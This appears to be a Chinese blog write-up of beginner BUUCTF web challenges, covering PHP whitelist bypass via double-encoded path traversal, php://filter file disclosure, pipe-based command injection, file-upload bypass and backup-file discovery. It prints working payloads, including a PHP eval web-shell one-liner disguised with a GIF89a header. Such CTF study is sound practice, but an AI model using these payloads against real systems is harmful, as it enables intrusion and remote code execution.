buuctf航海经历([ACTF2020 新生赛])

前言:今天感觉自己确实有点菜,想提高一下,就斗胆来buuctf论剑,哈哈哈!

[HCTF 2018]WarmUp

是关于php代码审计方面的

打开网站额,一个滑稽笑脸,别的啥都没有

看一下源码, 

提示source.php

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];    一个白名单
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {           说明不在白名单里面
                return true;
            }

            $_page = mb_substr(      
                $page,
                0,
                mb_strpos($page . '?', '?')       这个.就是链接上问好,然后输出问好前面的字符
            );
            if (in_array($_page, $whitelist)) {       不能输出,说明还是不在
                return true;
            }

            $_page = urldecode($page);              url解码
            $_page = mb_substr(                   
                $_page,
                0,
                mb_strpos($_page . '?', '?')      解码以后说明里面会有一个问号,加上链接就有俩但是取前面第一个的位置比如 hint.php?fdffdf?
            );
            if (in_array($_page, $whitelist)) {      要在白名单里面绕过checkfile函数
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

 看见代码中还有hint.php那也看一下吧,

告诉了我们flag的位置 ,接着开始代码审核,记住从?url输入参数浏览器自带一次url解码

1.$_request['file']不为空

2.$_request['file']是字符串

3.上面定义的checkfile方法返回值为真

所以此时对于正常的file值,会截取其本身长度,不会产生影响。
但是这个时候如果我们在file内容中加入?,就能实现截断的效果,这个时候page将会验证?前方的str是否包含在array中,因此就能实现checkFile函数的绕过。

这个时候一定能过checkFile函数。
但是我们的include文件读取函数却是直接将file进行了读取,这个时候file的内容是无效的,因此什么东西也读不出来。
我们通过hint.php可以知道,flag隐藏在ffffllllaaaagggg中。
所以现在我们的目标是通过拼接的方式构造出读取flag的绕过姿势。
url里面我们比较常见的是#绕过,即#后面的内容不会被读取执行。
但是我们究竟该怎么样让前面的hint.php%253f不被放到include中影响我们flag的正常读取呢?
我们知道如果直接放入hint.php%253ffffllllaaaaggg会通过checkFile的验证返回true,但是毫无疑问这种错误的文件名是无法被include正确读取的。
这个时候我们就要用到一个关键符号:/
例如:include ‘wrongname/flag.txt’
wrongname无法被正确读取,这个时候/后面的flag.txt就会被include函数读取并解析。
因此我们可以构建payload:

 

http://8a6aa662-6e27-420f-8d5e-9679bcae7a50.node3.buuoj.cn/source.php?file=hint.php%253f/ffffllllaaaagggg

 但是还是无法正确读取,为什么呢?
我们其实已经可以从flag的文件名猜出一些真相了。
我们需要将目录回退四次,就像这美妙的名字一样。
因此构建新的payload:

http://8a6aa662-6e27-420f-8d5e-9679bcae7a50.node3.buuoj.cn/source.php?file=hint.php%253f/../../../../ffffllllaaaagggg

?需要进行二次url编码,第一次是%3F  第二次%253f

[ACTF2020 新生赛]Include

这道题的核心就是文件包含include,

所以我就想到先用为协议读取

果然不出所料,url上面显眼的‘file=’就是我们想要的文件包含漏洞

以开始以为flag在其他漏洞,我先用file=php//input,再Post传参

但是当url后面接上file=php://input时,就直接给我返回了hacker页面,看来服务器是对input过滤了

 那就用,filter读取协议

file=php://filter/resource=flag.php,读取,发现页面没变化,然后试一下编码

file=php://filter/read=convert.base64-encode/resource=flag.php

果然出来了

[ACTF2020 新生赛]Exec

打开界面一看感觉考察管道符之类的,命令注入题

知识点
1、命令注入我们要防备其对于一些符号的过滤导致我们不能成功注入,所以我们要多了解一些符号。
2、;直接分号分隔
管道符:作用和&一样。前面和后面命令都要执行,无论前面真假
3、| 按位或
作用是直接执行|后面的语句
4、|| 逻辑或
作用是如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
5、& 按位与
&前面和后面命令都要执行,无论前面真假
6、&& 逻辑与
如果前面为假,后面的命令就不执行,如果前面为真则再执行后面命令,这样两条命令都会被执行

 之后就 127.0.0.1|ls  发现出现index.php

然后查看上一层目录   127.0.0.1|ls ../../../ 看到了flag

127.0.0.1|cat ../../../flag 获得flag

[ACTF2020 新生赛]Upload

一道文件上传的题目,然后上传php,发现进行了前端限制只能上传jpg,png图片类型

所以我们先上传一个图片码,然后抓包该后缀就可以了

 

 

获取flag

拓展:.phtml文件好像可以上传,但是对文件内容做了校验,不允许出现<?,尝试更换一句话木马      不允许出现<?就需要一个标签来构造一句话木马

GIF89a//在文件前加上GIF89a来绕过PHP getimagesize的检查,来绕过文件内容头校验
<script language="php">eval($_POST['shell']);</script>//一句话木马

 

 看见了先记下,以后会用到!!!

[ACTF2020 新生赛]BackupFile

题目告诉我们说要找文件

用dirsearch试了一下,发现要好久,然后自己琢磨了试了一下各种备份文件结果试出来了

direarch -u 网址 -e*

打开

查看源码,抓包看,结果还是任何信息都没有,就需要用到扫目录的工具了

感觉是有备份文件存在,果不其然扫到了 index.php.bak,然后下载

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

终于看见了源码,然后就代码审核,这还是比较简单的,弱比较搞定,?key=123得到flag

知识点

这里时一个查找备份文件的知识点,备份文件后缀有
.rar
.zip
.7z
.tar.gz
.bak
.swp
.txt
.html

 继续加油

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值